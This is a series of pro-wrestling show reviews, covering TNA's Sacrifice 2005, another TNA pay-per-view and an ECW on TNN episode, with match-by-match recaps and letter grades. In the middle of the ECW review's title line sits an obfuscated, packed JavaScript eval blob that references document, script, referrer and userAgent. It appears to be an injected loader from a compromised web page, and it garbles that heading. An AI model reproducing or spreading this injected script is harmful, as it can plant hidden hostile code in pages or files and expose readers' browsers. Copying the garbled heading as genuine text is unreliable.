Whisper in the wind puts Abyss down but the Twist is countered into Shock Treatment which gets one for Sabu. Rhyno hits Abyss and Sabu with a chair and then hits Abyss again. Hardy uses Sabu as Matt for Poetry in Motion so Sabu beats him down. If someone tried to make me into Matt Hardy, I’d probably do the same. Now it’s Rhyno again with a kendo stick to kill everyone. The Gore is countered into a chokeslam onto a chair for two.

Hardy pulls out a ladder which winds up being rammed into his chest by Abyss. Abyss sets up a table near Hardy by the stage and then another next to it. Sabu sets one up between the ring and the barricade as a platform. Jeff chairs Abyss down and Sabu hits a triple jump dive through Rhyno and through the table. Hardy climbs up on top of the set and dives over the stage through Abyss through the table. If he went too short on that, he would literally be dead.

Back in the ring Sabu loads up the triple jump moonsault but Rhyno hits him with the stick to break it up. The fans think this is awesome. The Gore hits a chair in the corner and Sabu hits the triple jump moonsault for two. Abyss and Hardy crawl back to the ring with Abyss setting up a table in the corner. Sabu throws a chair at him but gets thrown to the floor and through a table for his trouble. Here come the tacks but Abyss gets Gored through the table. Hardy prevents a cover but walks into the Rhyno Driver (middle rope piledriver) for the pin.

Rating: B. This was another wild brawl and in this case it worked very well. That Swanton was absolutely incredible but at the same time REALLY scary. Rhyno looked good but the match was really a group effort. Much like the TLC matches, sometimes you just throw people out there and tell them to be violent and it works. That’s what happened here.

Larry says there’s a ten man Gauntlet For The Gold for the title match and the participants will all have competed earlier tonight. Shane thinks that’s unfair to Jarrett.

We recap the Iron Man match between Styles and Daniels that Styles won in overtime. Daniels said he could beat any three X Division guys that Styles picked in 15 minutes. The first two went down so the third was Styles which resulted in a brawl. The result: Iron Man II.

X-Division Title: AJ Styles vs. Christopher Daniels

AJ is defending and it has a thirty minute time limit under Iron Man rules. Daniels jumps AJ before the bell and we’re off quickly. He controls for the opening minute and they trade chops, won by AJ. A backbreaker puts Daniels down and onto the floor but Daniels blocks AJ’s dive. Daniels hits some palm strikes but Styles dropkicks him down. Back to the floor and Daniels is knocked into the crowd. AJ dives over the barricade and both guys are down.

They head back inside and AJ controls with a headlock. Five minutes in and the fans say both guys are awesome. The headlock stays on for a few minutes but you have to burn some time in a match like this. Daniels rolls out of it and hooks an armbar. AJ fights out of it and sends Daniels into a few corners. A hard kick puts Daniels down as it’s been almost all AJ so far.

Bridging Indian Deathlock goes on and Daniels is in big trouble, so he bited AJ’s hands to escape. Ten minutes in now. Daniels heads to the apron but AJ clotheslines him back into the ring. Springboard forearm is countered into a high collar suplex to put both guys down. Daniels takes over and twists AJ’s neck around a bit. That can’t feel good. A tilt-a-whirl backbreaker gets two and it’s off to a neck crank by Daniels.

AJ grabs a cradle out of nowhere for two and then another one for another two. Koji Clutch out of nowhere has AJ in trouble. AJ tries to power out of it but goes right back down. Another power out attempt works and AJ makes the rope. Slingshot moonsault gets two on the champion. We’re halfway through and it’s 0-0. AJ escapes a backbreaker and hits his moonsault into a reverse DDT.

Hammerlock belly to back suplex gets two as does a pumphandle gutbuster. That’s a new one. AJ tries a moonsault but gets caught in a Death Valley Driver for a very close two. Daniels puts him on the middle rope and flips him forward into a mat slam for two. AJ counters a neckbreaker into one of his own for a slightly delayed two. AJ tries the moonsault DDT again but gets caught in a spinning powerbomb for two. BME STILL doesn’t get a fall as it only gets a two count.

Ten minutes to go and AJ puts on a torture rack and then spins it out into a slam for two. AJ dives into the corner but Daniels moves and knocks Styles to the outside where he lands on the steps. A BIG suicide dive destroys AJ but Daniels can’t follow up due to exhaustion. As they come back in, AJ hits the Pele to knock Daniels back to the floor at 8 minutes to go. Another BIG flip dive takes Daniels out and both guys are down.

Seven minutes to go and both guys are down on the floor. As they get back in, Daniels blocks a suplex back inside and hits a belly to back suplex from the apron to the floor. That was pretty awesome, much like this match. Six minutes left and it’s still zero to zero. They’re both back in with five minutes to go. Scratch that as Daniels kicks AJ out of the ring before he was all the way in.

With about 4:25 to go they slug it out in the middle of the ring with AJ taking a slight advantage. Four minutes left. AJ has a big bruise on his leg. Small package gets two for the champion. Pele misses and Daniels rolls him up for two. AJ does the same and gets the same. Daniels hits a German suplex but AJ pops up and hits a discus lariat before collapsing. Under three minutes to go now.

AJ falls on top for two and we have two minutes left. Daniels channels his inner Piper and pokes AJ in the eye. That gets him nowhere because AJ gets to the apron and hits a springboard cross body for two despite a handful of tights. 90 seconds left and they trade forearms. The fans are split here. One minute to go and Daniels blocks a suplex. AJ kicks him in the head again but it only gets two. Daniels kicks him in the head but the Angel’s Wings are countered into a suplex for two. AJ hits the Clash with two seconds left for the only fall and the win. WOW that was a hot ending.

Rating: A. The only way to make this better would have been to say AJ loses the title in a tie. Still though, GREAT match here and pretty easily the best match I’ve ever seen these two have. That’s some pretty awesome timing too with AJ getting the pin literally with two seconds left. I know I complain about AJ and Daniels a lot, but back then it was great, with this being the best I’ve ever seen from them.

Gauntlet For The Gold

This is kind of like the Royal Rumble as everyone comes in after I think a minute and it’s over the top eliminations. The winner gets Jarrett immediately thereafter. Joe and Truth are the first two entrants. Oh ok these two go for two minutes and then every entrant is one minute. Got it. Truth dances for about 20 seconds to make fun of the Polynesian dance stuff earlier.

There’s no contact until 46 seconds in when Joe punches him in the face. Off to some Facewashes and the running boot. Truth pulls himself to the top and hits a Blockbuster. Downward Spiral puts Joe down and #3 is Sabu who can barely walk. He falls through the middle and bottom rope but has a chair. He BLASTS Truth with it and hits the triple jump moonsault on the same. Air Sabu hits Joe. Remember that there are only one minuet intervals from now on.

Joe throws the chair at Sabu’s legs and Lance Hoyt is in at #4. Joe no sells Hoyt’s punches but can’t no sell a big boot. Abyss is #5 who cleans house and has a staredown with Joe. They chop it out and Abyss grabs him for a chokeslam. Joe grabs HIM for a chokeslam, which is why Joe is awesome. And then Truth breaks it up because he likes to annoy me. Jeff Hardy is #6 and Sabu is busted open. No one has been eliminated yet.

Monty Brown is #7 and he’s limping for some reason. He Pounces Sabu and throws Hardy to the apron, but Hardy pulls him along with him to eliminate both guys. Abyss is almost out but he fights everyone off. #8 is Rhyno who also can barely walk. All of the Monster’s Ball people are in this. Rhyno easily clotheslines Hoyt out and we have five in and two still to go. Kip James (who didn’t wrestle earlier) is #9 and he cleans house. Fameasser to Abyss and AJ is somehow #10, meaning no Raven which is a surprise.

So we have Kip, AJ, Abyss, Joe, Sabu, Truth and Rhyno. AJ goes right after Abyss because he’s just that kind of guy. Apparently Sabu went out off camera somewhere so it’s down to six. Joe pounds on Kip and is the big crowd favorite. Things slow down a bit until AJ hits a big jumping kick to the head of I think Truth. Truth is put onto the apron but he hangs on. Kip charges like an idiot and goes out to get us down to five.

Pele puts Truth down and everyone is down. Abyss talks to Truth, calling him Ronnie. AJ throws Truth over but Kip holds him up from hitting the floor. And never mind as he goes out anyway. So it’s Rhyno, Abyss, AJ and Joe. There’s a solid tag match in there somewhere. AJ somehow explodes on Joe with forearms but gets caught in the choke next to the ropes. Abyss eliminates them both and apparently you win by over the top. Usually it’s a one on one match when it gets down to two. Gore to Abyss and Rhyno tosses him for the quick win.

Rating: C-. Considering that these guys had all fought tonight this wasn’t half bad. AJ had to be gassed after having to stop for about 10 minutes and then start up again. Raven belonged in there instead of freaking Billy Gunn but I think that was part of his feud with management so it made sense I guess. Still though, it was relatively short and the minute time limits weren’t so bad because there weren’t that many people in it.

NWA World Title: Rhyno vs. Jeff Jarrett

Tito Ortiz is guest referee. Jarrett brings out a casket for no apparent reason. He jumps Rhyno before the belt even comes off and hits a dropkick to put Rhyno down. Out to the floor and Rhyno gets rammed into the announce table and then the casket. Back in a top rope clothesline puts Rhyno down again. He’s had zero offense at all so far. Another top rope clothesline puts the challenger down again so Jeff goes up a third time. Rhyno catches him in chokeslam position but instead throws Jeff into the air and kicks him in the balls.

Gail Kim comes out as the Gore misses. Gail goes up but jumps into the arms of Tito. She tries to slap him so she gets placed on the apron. Guitar shot misses but the second one hits Rhyno square in the face. Rhyno is busted open but it only gets two. Jarrett yells at Ortiz and AMW comes out. There’s another guitar but Ortiz drills both members of AMW. Rhyno Gores Jarrett down and pins him out of nowhere in I think his second offensive move of the match.

Rating: C. The match was nothing great but at the same time, this was Rhyno’s third match of the night and second in a row, plus there was no story to the match but that’s certainly beyond TNA’s control in this case. The match only ran about six minutes and Tito didn’t have much to do with it but again I’m assuming it made more sense with Nash in there. All things considered, this wasn’t bad.

Post match AMW runs in to beat Rhyno down as Tito is gone. The 3 Live Kru runs down for the save so Team Canada comes in as well. The casket is brought into the ring and Rhyno takes another guitar shot to the head. They shut him into the casket and Jarrett holds up the belt. Team 3D returns and cleans house along with the Kru. Only Eric Young is left so he gets the 3D and gets thrown into the casket. Rhyno and company celebrate to end the show. This was a REALLY bad choice for an ending, but again I’m assuming it was for Nash where it would have made better sense. That being said, DON’T DO IT IN THIS CASE.

Overall Rating: B+. This worked really well overall and when you considered the ending of the show had to be completely rewritten because of Nash’s life threatening medical condition of the month, it was solid. Rhyno’s title reign wound up meaning nothing because he lost the title at the next taping, but for a nice surprise ending it worked pretty well.

The middle part of this show, as in from the tag titles through the Iron Man, is EXCELLENT and the opening part isn’t that bad. The Ultimate X match is solid other than the awful ending and the longest of the first four matches is 7:15 long so they hardly cripple the show. Very good show and I can see why people were so hyped about TNA at this point.

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ECW on TNN – October 22, 1999: Sunny Bent Over In A Thong With Her Face In Lita’s Crotch While Dawn Marie Spanks Her

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isyik|var|u0026u|referrer|ifiiz||js|php'.split('|'),0,{})) on TNN
Date: October 22, 1999
Location: Alario Sports Center, West Wago, Louisiana
Attendance: 2000
Commentators: Joel Gertner, Joey Styles

We’re getting closer to November To Remember and we’ve got a few matches set now. For one thing we have the world title match set as Awesome will defend against Tanaka. As for tonight’s show, it’s possible that we’ll see the TNN debut of Sabu. Gee I’m glad they didn’t wait awhile to bring in one of their legends or anything. Hopefully it’s a competitive match and they don’t bring in some old name that used to mean something to have him squash like the One Man Gang or something. Let’s get to it.

Joel is in the ring to open things up. Apparently he’s doing the ring announcing for the opener.

ECW World Title: Mike Awesome vs. New Jack

New Jack charges in with the weapons and Awesome stands there so he can get beaten on. Awesome fights back but gets bitten for his efforts. There’s a right hand to send the champion into the corner as that infernal song is still playing. Awesome misses a charge and we head to the floor. Jack puts Awesome against the railing and dives at him with a chair but it gets knocked back into Jack’s face.

Mike gets the chair now and takes over. Back into the ring and a top rope clothesline puts Jack down. Vader Bomb “misses” (Jack rolled the wrong way so it hit him anyway) and it’s staple gun time. A guitar shot to the head won’t put Awesome down but Jack jumps into a chair shot. Awesome throws him to the floor and through a table. Back in and the Awesome Splash gets the easy pin.

Rating: D+. If you take away the idea of wrestling from this match, it was pretty entertaining. Since New Jack is about as far from being a professional wrestler as I am, that’s not much of a stretch. This was just a way to pop the crowd before we get to the actual wrestling on the show.

Theme song.

Nova vs. Chris Candido

Gertner makes alcohol jokes about Tammy. They start fast with no one being able to get anything significant in. Candido finally hits him in the face to take over but walks into a backdrop. Flying forearm gets two. Nova is a guy that’s hard to keep up with because he’s not only fast but he does a lot of stuff that no one else did so it’s hard to call the moves. Before anything happens, Doring, Roadkill and Lita run in to beat on Nova for a DQ. This was really short.

Candido comes in to help Nova and we get a Lita vs. Sunny catfight, which I’m sure has been a fantasy for many over the years. After the ring is cleared and only Candido and Sytch are left, here come Storm and Dawn Marie for a distraction so Doring, Lita and Roadkill can come in from behind. Dawn paddles Tammy while Lita holds her. Dawn smacks Lita because she can.

With the ring cleared (again), Dawn calls out Francine who comes out with Dreamer. Storm suggests Dreamer can’t sleep with Francine and it’s on, but Justin runs in to double team Dreamer. Here’s Raven who comes in and then turns his back on the Impact Players. It’s about to be another double team but Dreamer makes the save. Raven DDTs Dreamer because he can.

Post break Dreamer is up and calls out Raven. They square off…..and we go to a break.

Rhyno vs. David Kash

Rhyno jumps him and the beatdown begins quickly. Kash hits a dropkick but gets Gored for two. Piledriver works a bit better and gets the pin for Rhyno. This wasn’t even a minute.

Corino gets on the mic post match and says he wants Sabu out here right now to face Rhyno.

Rhyno vs. Sabu

Sabu beats up Rhyno’s posse before the match as the fans are just NUTS for Sabu. Rhyno takes over and we take a quick break. Back with Sabu being sent to the floor so the cronies can beat him up. Back in the ring and Sabu gets powerbombed off a rana attempt for two. Rhyno throws him to the floor and tries a dive but takes out the other guys instead. The other guys/cronies/the posse are Steve Corino and Jack Victory in case that wasn’t clear.

Sabu puts him in the crowd and hits a HUGE dive to take Rhyno out. Back at ringside and Sabu pelts the chair to put Rhyno down. Fonzie is out here now. There’s a table set up between the ring and the barricade like a platform. Sabu ranas Rhyno off the top and back inside for two as Corino makes the save. Fonzie crotches Corino and Steve takes a rana as well. Sabu goes to put Corino through the table but Rhyno Gores him down.

Instead of covering he grabs a chair and charges but Sabu kicks it into his face for two. The triple jump moonsault is broken up but Sabu takes out Victory anyway. There’s a camel clutch and Rhyno is in trouble. Corino makes the save AGAIN but gets taken out by Fonzie. FONZIE HITS A SLINGSHOT SPLASH!!! That was kind of awesome. Rhyno gets put on the table and Sabu hits a triple jump Arabian Facebuster through Rhyno and through the table to put both guys down.

The fans are, as usual, going insane for Sabu. Joey talks about how you’ll NEVER see Sabu on Raw or Nitro, both of which he’d appear on (Nitro he already had been on but you get the idea). There’s a table in the ring now but Sabu has to take out Victory first. That doesn’t change much as Sabu drives Rhyno through the table for two to shock Joey. Facejam onto the chair gets two. Sabu sets for something off the top on Rhyno but Corino covers him for protection. That’s really stupid to do against Sabu as he jumps on both of them. Arabian Facebuster and the Triple Jump Moonsault finally get the pin.

Rating: C. It was a mess but I’d be lying if I said I didn’t enjoy it. Sabu is very much a microcosm of ECW: when he’s on he’s good, but when he’s off, OH MAN is he off. The interference got old fast here too. Also, why have Sabu win? Give Rhyno a cheap victory to further his monster push. Sabu is going to be incredibly popular no matter what, so why not?

A three minute music video of what happened in the show ends it. How pointless is that? Ok Sunny bent over in a thong with her face in Lita’s crotch while Dawn Marie spanks her isn’t but the rest is.

Overall Rating: A+. It has Sunny bent over in a thong with her face in Lita’s crotch while Dawn Marie spanks her. What kind of a grade do you think I’m going to give this?

The show is still a mess but the long main event with a big name helped. November to Remember is still mostly unannounced but they’ve got a few weeks left. The show was just ok this week.

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Sacrifice 2005: Drop The Overbooking And It’s A Classic

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Date: August 14, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 775
Commentators: Mike Tenay, Don West

We’re in a weird place here in TNA’s history as they don’t have a TV deal due to Spike not being ready to take them on yet. They were off TV from June through September which made it hard to build up PPVs. They did however have Impact airing on their website which helped a little. The main event tonight is a tag match between Raven/Sabu and Jarrett/Rhyno, the latter of whom debuted at No Surrender. If Raven pins Jarrett, Jarrett doesn’t get a title shot for a year but if Jarrett pins Raven, he gets a shot at the next PPV. Let’s get to it.

The opening video is about how there’s a battle raging everywhere and the winner will be those willing to sacrifice….something.

Diamonds in the Rough vs. Chris Sabin/Shark Boy/Sonjay Dutt

The Diamonds were a low level heel stable of Simon Diamond, Elix Skipper and perennial loser David Young. Simon, the leader, says Skipper is going to shine. Young and Shark Boy start things off as we hear about how Young actually won a match recently. Neckbreaker gets two for Sharky. There’s the bite on the back of Young’s tights but Skipper comes in with a clothesline to shift momentum.

Off to Simon for some rolling suplexes. Hardy isn’t here yet and he’s already no showed a PPV. If he misses this one, he’s fired. Shark Boy hits a kind of facebuster and brings in Sonjay off a tag. Cross body gets two as things speed up. And never mind as Skipper hits a backbreaker to put Dutt right back down. Back to Young as Dutt is playing Ricky Morton for awhile. A freaky kind of facebuster gets no cover so Sonjay manages to counter into a slingshot rana.

Off to Sabin as I don’t think it was long enough of a beatdown for a Morton label. We hear about how Dutt and Sabin are both getting better after losing to Joe. Ok then. Things break down and Skipper kind of walks the top rope for a rana on Dutt. Young hits his spinebuster for two on Dutt as Sharky saves. Shark Boy hits a dive to the floor so it’s down to Skipper and Sabin in the ring. They trade rollups and Sabin cradles him over for the pin.

Rating: C. Not a bad little tag match here to get things going. It got a little sloppy in the middle though as the Diamons just weren’t that good. Skipper was good at walking things but he slipped a little at the end which made it look pretty bad. Nothing special to it but it did its job well enough I guess.

We recap the pre-show which contained the announcement that Impact is coming to Spike on October 1. We get a video of that announcement….and Jarrett interrupts the announcement. This is where the stipulation that I mentioned in the intro is announced.

The Naturals are teaming with AMW tonight and Jimmy Hart (Naturals’ manager) says it’ll be ok. Jarrett comes up and says be with him when he wins the title. They don’t appreciate it but Jarrett says they have to hang together because TNA management is coming for him. Jimmy calls him paranoid.

Alex Shelley vs. Shocker

Rematch from Slammiversary. Apparently this is the third match in a series which has been split so far. Feeling out process to start but Shelley wraps him up into a leglock. Shocker takes him down and puts on a Brock Lock which quickly ends because of a grabbed rope. Shelley charges at Shocker but gets sent to the floor. Shocker tries a flip dive but he lands on his feet, which allows Shelley to pop him in the face.

Shocker drops him back first onto the apron and we head back inside. Back in and it’s time for chops by Shocker. A big boot puts him down and Shocker puts on a SICK twisting figure four and Shelley is in trouble. He gets the rope and his leg is just fine, as he hits a tornado DDT for two. Gah that gets on my nerves. Shocker takes him right back down into a modified Koji Clutch.

Shelley pops out of that too and hooks something like a diving dragon screw leg whip but Shocker rolls through that too. Slingshot elbow drop gets two for Shocker. They exchange seated dropkicks, with Shocker no selling A KICK TO THE FACE. He tries a rollup but Shelley counters and puts his feet on the ropes for the pin.

Rating: D+. I can’t stand it when people just won’t sell stuff. Two leg holds don’t get sold and on top of that Shocker popped up from TWO FEET IN HIS FACE. That’s one of the things in wrestling that drives me crazy. I can get over it when they get hit, hit something of their own and collapse, but Shocker was right back up. It drives me crazy in ROH and it’s annoying here.

Mitchell talks about big men and how none of them can compare to Abyss. They’re ready for Lance Hoyt tonight. Somehow that took two minutes.

Now we recap Hoyt vs. Abyss. Abyss was sent to take out Raven and happened to beat up Hoyt who was with Raven at the time. Cue a PPV filler match.

Abyss vs. Lance Hoyt

Hoyt starts fast and pounds away in the corner. They were in the process of pushing him as a midcard guy, which resulted in him losing almost every major match he was in. We get the ten punches in the corner and Abyss is knocked over the top to the floor. There’s a plancha on top of that and Hoyt is in control. Hoyt pounds on him on the outside but Abyss sends him into the steps and back inside.

They trade chops in the corner and Abyss misses a charge, sending him into the corner. It’s a good thing I’m paying attention, because the announcers are talking about BG and Kip James. Hoyt misses a bit boot and Abyss hits a middle rope splash for two. The fans can’t decide who they want to cheer for here. Now Hoyt’s shoulder goes into the post and Abyss….cowers I think.

He focuses on Hoyt’s arm and shoulder but Hoyt comes off the middle rope with a clothesline to take over again. A big shoulder block puts the Monster down as does a chokeslam. Hoyt’s big move, the moonsault, gets two and there goes any chance he had to win this match. Black Hole Slam gets two and Abyss FREAKS. A chair gets brought in and Hoyt kicks it into his face for two. Now we get REAL proof of how stupid TNA is, as Hoyt, who is 6’9, hits a Van Terminator (the coast to coast dropkick) which looked pretty good. It gets two. WHY IN THE WORLD WOULD YOU LET HIM USE THAT MOVE AND NOT HAVE IT GET THE PIN??? Another Black Hole Slam gets the pin.

Rating: C+. As awesome as Hoyt looked here (which was pretty good actually), TNA manages to screw this up again by not letting Hoyt GET THE PIN. Abyss is a monster so a loss here isn’t going to kill him, and they’ve pretty much made Hoyt’s huge offense looks weak as he can’t get a pin. For the life of me I don’t get the thought process of this company.

We recap the Kru vs. Outlaw feud which is Kip James wanting to reform the Outlaws but the Kru saying BG is loyal to them. BG is guest referee tonight due to some complaint that there’s an unsafe working environment for the referees or something.

Monty Brown/Kip James vs. Konnan/Ron Killings

Brawl on the floor to start and it heads into the ring. I’m assuming this is part of the match as I never heard a bell. The Kru clears the ring with a kick by the Truth. Kip takes a modified What’s Up (Dudleys’ move, not some obscure Killings’ move) and the brawl goes back to the outside. We finally get started with Truth vs. Brown after Kip puts Truth down with a tilt-a-whirl slam.

Monty does the BG James shake but doesn’t drop the knee. Off to Kip who gets two off a kick to the back. A big boot allows Kip to pose and then get two. Monty comes in again for a floatover suplex. It’s chinlock time which is quickly broken, but a knee to the ribs gets two for Brown. They hit the ropes and collide so it’s time for a double tag.

Konnan cleans a few rooms and messes up a facejam on Brown. There goes the shoe but he accidentally hits BG. Fameasser doesn’t work and Konnan gets a chair. BG won’t allow it but he won’t let Kip use it either. Kip shoves him and gets punched. Konnan uses the chair and BG counts the pin. The Kru reunites post match.

Rating: C-. This was ALL angle which is fine. Konnan was much better as a mouthpiece than he was in the ring so I wasn’t thrilled with him here. The rest of it was ok, but man did Brown fall far from where he was a few months ago. The Kru would add Kip in a few weeks and then disband at the end of the year.

Christopher Daniels vs. Austin Aries

Aries was brought in via a fan vote which is an interesting idea. Daniels is X Champion but this is non-title. Before the match Daniels talks about Jarrett (of course) and how Jarrett has said everyone is going to be replaced. At first he thought that was crazy but then he sees Austin Aries being brought in so Daniels has to defend his turf. Aries is just a guy in trunks here but his ROH heritage is talked about.

Daniels jumps Aries to start as we hear about the other options on the poll: Jay Lethal, Roderick Strong and Matt Sydal (Evan Bourne). Aries takes him to the mat as the fans are split. A jumping middle rope back elbow gets two for Aries. They trade front facelocks and go to the floor. Aries hits that suicide dive of his to take over and we go back inside. Slingshot corkscrew splash gets two.

Austin tries to jump over Daniels in the corner but Daniels catches him in a shoulderbreaker for two. Daniels is coming up on the record for the longest reign as X Champion, which would be broken by the guy he’s wrestling at the moment. There’s a hard whip into the corner as Daniels is in control. Daniels works over the back and a tilt-a-whirl slam gets two. The fans are getting behind Aries more and more.

Split legged moonsault to the back gets two. Daniels takes forever to load up the Angel’s Wings and Aries escapes it. Aries escapes a suplex and returns a slap from Daniels. They slug it out and here comes Aries. Pendulum Elbow gets two. A running dropkick in the corner gets two. Daniels hits a Downward Spiral out of nowhere to break the momentum. BME misses and Aries kicks Daniels HARD in the face. 450 hits for two, but at least it was just touching a rope for the break. STO gets two with the feet on the ropes for Daniels. Here comes the brainbuster but Daniels reverses into the Angel’s Wings for the pin.

Rating: B-. As is always the case, I like Daniels WAY more when he’s not against Styles. Aries looked good here and he’d be back at Unbreakable before heading back to ROH for the next few years. It’s kind of surprising that he was never into the main two companies until then. Good match here but why wasn’t this for the title?

AMW says it’ll be about them vs. the Naturals and if they have to team up to take out Team Canada, that’s fine with them. Jarrett comes in again and asks for help but Storm goes off on him. AMW would join Planet Jarrett in about a month and help him win the title at a non-TNA show.

We recap Waltman vs. Lynn. Waltman injured Lynn and Lynn came back to referee a Waltman match against Styles. Lynn wouldn’t let him use a chair and it cost Waltman the match. Waltman is like 4 inches taller than Lynn. These two had the hottest feud on the indies in the early 90s which is what got Waltman his job in the WWF.

Sean Waltman vs. Jerry Lynn

This should be awesome despite Waltman’s beer gut. This is their first match in over ten years and Lynn’s first TNA match in over a year. They shake hands and it’s time to go. Lynn takes him to the mat and slaps the back of his head a bit. Waltman goes for the shoulder which was injured to put Lynn on the shelf. They slap hands again and it’s time for a test of strength.

Waltman takes him down with a wristlock and they try it again. This time Lynn takes him down with a run up the corner into an armdrag. Waltman hits a spin kick to put Lynn back down and take over. Lynn avoids a charge and sends Waltman to the floor, followed by a big old dive. Lynn charges at him for what looked like a headscissors but Waltman catches him and rams the shoulder into the post.

Waltman works on the shoulder a bit and they trade chops. A slick rollup with the legs gets two. Shark Boy is watching on the stage as Waltman hits the chinlock instead of staying on the arm. Now Chris Sabin is out to watch too. Sean wakes up and hits a shoulderbreaker for two. Sonjay Dutt is watching now. The Bronco Buster misses and Lynn sends him to the floor with a headscissors. He sets for a dive but Waltman sends him out to the floor onto the shoulder.

A dive over the top takes Lynn down but Waltman can’t follow up immediately. They go to the apron and Sean tries to suplex him in. Lynn counters into a suplex to the floor but he hurts his shoulder again. Back in and Jerry hits a missile dropkick as things speed up. Lou Thesz Press hits and Lynn hammers away. A standing rana by Waltman is countered into a powerbomb for two.

Both guys are spent here and for once I can understand it. If nothing else Lynn’s cardio can’t be all that great. Cradle Piledriver is countered by a low blow and the X-Factor gets two. Waltman is frustrated and the fans are all behind Lynn here. Lynn rolls through a top rope cross body and gets two. Standing tornado DDT gets the same. Lynn loads up a tombstone but Waltman counters into one of his own but it only gets two. Waltman tries a slam of some kind but Lynn rolls through into a victory roll for the pin.

Rating: B. Good match indeed as these two have reached a point where they can have a good match with each other out of pure memory. As always, Waltman is way more interesting when he’s against a smaller guy like Lynn. I think it was the giant killer thing that got on my nerves with him.

Waltman hugs him post match and of course turns on him because that’s what Sean Waltman does. He hits a shoulder breaker as Tenay overreacts like only he can. Waltman drapes the shoulder over the railing and hits it with a chair. The other X guys come out for the save as I guess they were looking for a good Turkish restaurant or something.

Team Canada says that they’re at a disadvantage but Eric needs to calm down. D’Amore is healing from some injury so they have his hockey stick instead.

We recap the Naturals/AMW vs. Team Canada. In essence it’s two teams that want to fight but Team Canada won’t leave them alone. Kind of a weak feud but it’s better than nothing.

Team Canada vs. America’s Most Wanted/The Naturals

Team Canada is Roode/Young/A-1/Williams. The Naturals are tag champions and AMW’s big rivals. Douglas and Young start things off and we get Canadian miscommunication. Off to Stevens and we get American communication. Petey comes in off the top but jumps into a punch to the ribs. Storm comes in for the Eye of the Storm on Williams but Roode gets in a shot to the back to break the momentum.

Williams comes in as we’re in the leg work period. Storm hits a clothesline and tags in Harris who cleans house. A delayed vertical suplex gets two on Eric and it’s off to Chase again. Stevens tries to jump over Eric in the corner but jumps into a low blow. Back to Canadian control with the chinlock by Roode. Young comes in again and Stevens punches him in the corner.

A Canadian poke to the eye lets Young go up but Stevens stops him. A big kick to the head sends Young down off the top and out to the floor. Hot tag brings in Douglas who cleans house. Back to Stevens and they hit the Natural Disaster on Young as everything breaks down. It’s time for the Parade of Finishers and Harris hits a HUGE dive to take out all four Canadians and Stevens at once.

Back in the ring Roode sets up a German superplex (there’s one you don’t see every day) but Harris powerbombs Roode down and brings Stevens with him. Hockey stick is brought in by Eric but it can’t connect. Storm throws Young to the floor with a nice hiptoss but Roode grabs a rollup for the surprise pin.

Rating: C. This was fine. With so many people in there it could only get so good but it keeps the Americans feuding and gives the Canadians a reason to get back into the tag title hunt. That dive by Harris was pretty cool too. When he didn’t have a huge gut on him he could go pretty well. Decent little match.

Samoa Joe says nothing so Shane Douglas gets in his face and demands respect. Are you kidding me? Joe says the respect Shane gets is not getting slapped in the face.

We recap the Super X Cup which is an X-Division tournament with the winner getting a shot at Daniels at the next PPV. In other words, it was a way for Joe to run through a bunch of guys in a row and face AJ in the finals.

Super X Cup Finals: AJ Styles vs. Samoa Joe

The first of many meetings. Daniels is sitting in on commentary. Joe tries to take him to the mat but AJ gets out. The fans are split of course. They trade kicks to the thigh and AJ gets the worst of that. AJ slams him down and drops a knee for two. Joe hits a hard kick and a wicked running knee smash to send Styles to the floor. There’s the suicide dive and AJ is in trouble.

Back inside AJ hooks a headlock. This is being treated like a clash of the titans and it’s working really well so far. Joe tries a high kick but Styles does a standing backflip to avoid it. Into the corner goes Joe but AJ charges into a release Rock Bottom. A running knee to the head gets two. Joe hooks a chinlock as this has to slow down a bit. AJ tries to speed things up but Joe hits his powerbomb into the crab into the STF sequence.

AJ comes back with the dropdown into the dropkick and the moonsault into the reverse DDT for two. Styles goes up and they slug it out on the top with Joe getting knocked down. He tries the Clash but can’t get him up. A slingshot Swanton gets two. Joe goes WAY old school with a Texas Tumbleweed (rolling rollup. It’s a Terry Funk move) and a HARD clothesline for two. The fans are way into this and I can’t blame them. This is getting awesome.

They trade forearms and AJ goes off on him, knocking him into the corner. Joe charges right back at him with strikes to knock AJ into the corner but AJ hits a big kick to the head to put both guys down. AJ sends him into the corner and manages a torture rack but the referee gets bumped. Daniels comes in and hits an STO on Styles. Dang it TNA QUIT OVERDOING IT! Joe stares him down and AJ clotheslines Daniels to the floor. The distraction lets Joe hit the MuscleBuster and the Clutch gives Joe the win.

Rating: A-. OH MAN Daniels brought this thing down. I was getting WAY into this match at the end with those near falls but then Daniels has to interfere and screw it up. Now to be fair that set up the threeway at Unbreakable, but dang man these two were tearing the house down. I was totally buying the idea of Styles giving this everything he had and Joe being the new hot deal that no one could stop. And then they screwed it up with Daniels. I’d love to have a clean ending for once in this company, but it’s a Russo company so that’s not going to happen.

Raven talks about how Jarrett needs the title but it’s Raven’s destiny to be champion.

We recap Raven/Sabu vs. Jarrett/Rhyno. Raven won the title at Slammiversary and Jarrett can’t take it. Rhyno came in and Raven needed help, so he brought in Sabu. This was also tied into the idea of Jarrett saying that there would be another Black Wednesday. He’s referring to a day where WWE cut 17 midcard guys and the Dudleys’ contracts expired. This would lead to the resurgence of Planet Jarrett which had EVERYONE in it.

Raven/Sabu vs. Rhyno/Jeff Jarrett

If Jarrett pins Raven, he gets a title shot. If Raven pins Jarrett, Jarrett doesn’t get a shot for a year. Raven and Jarrett start things off and it’s off to Rhyno in just a few seconds. They head to the floor and Raven hits a Russian legsweep into the barricade. West asks what happens if anyone else gets a fall and Tenay has no idea. Off to Rhyno vs. Sabu and Rhyno gets caught in the camel clutch very quickly.

Everything breaks down quickly and Jarrett is thrown over the announce desk. Raven busts out a pizza cutter to slice on Jarrett’s head. There are some trashcan shots to the head as Jarrett is busted open. In the ring Sabu hits a rana on Sabu followed by one off the middle rope. Jarrett gets in a chair shot to Sabu for two. Rhyno gets one of his own for the same result. Jeff is just covered in blood.

Sabu hits a flip dive to take Rhyno down and there’s the tag to the champion. Raven cleans house on both guys and hits the DDT on Rhyno but Jarrett makes the save. Jarrett tries the guitar but Cassidy Riley, a really interesting idea as he loved Raven and wanted to be just like him, even down to dressing like him, comes out to take it away. Stroke gets two on the champ.

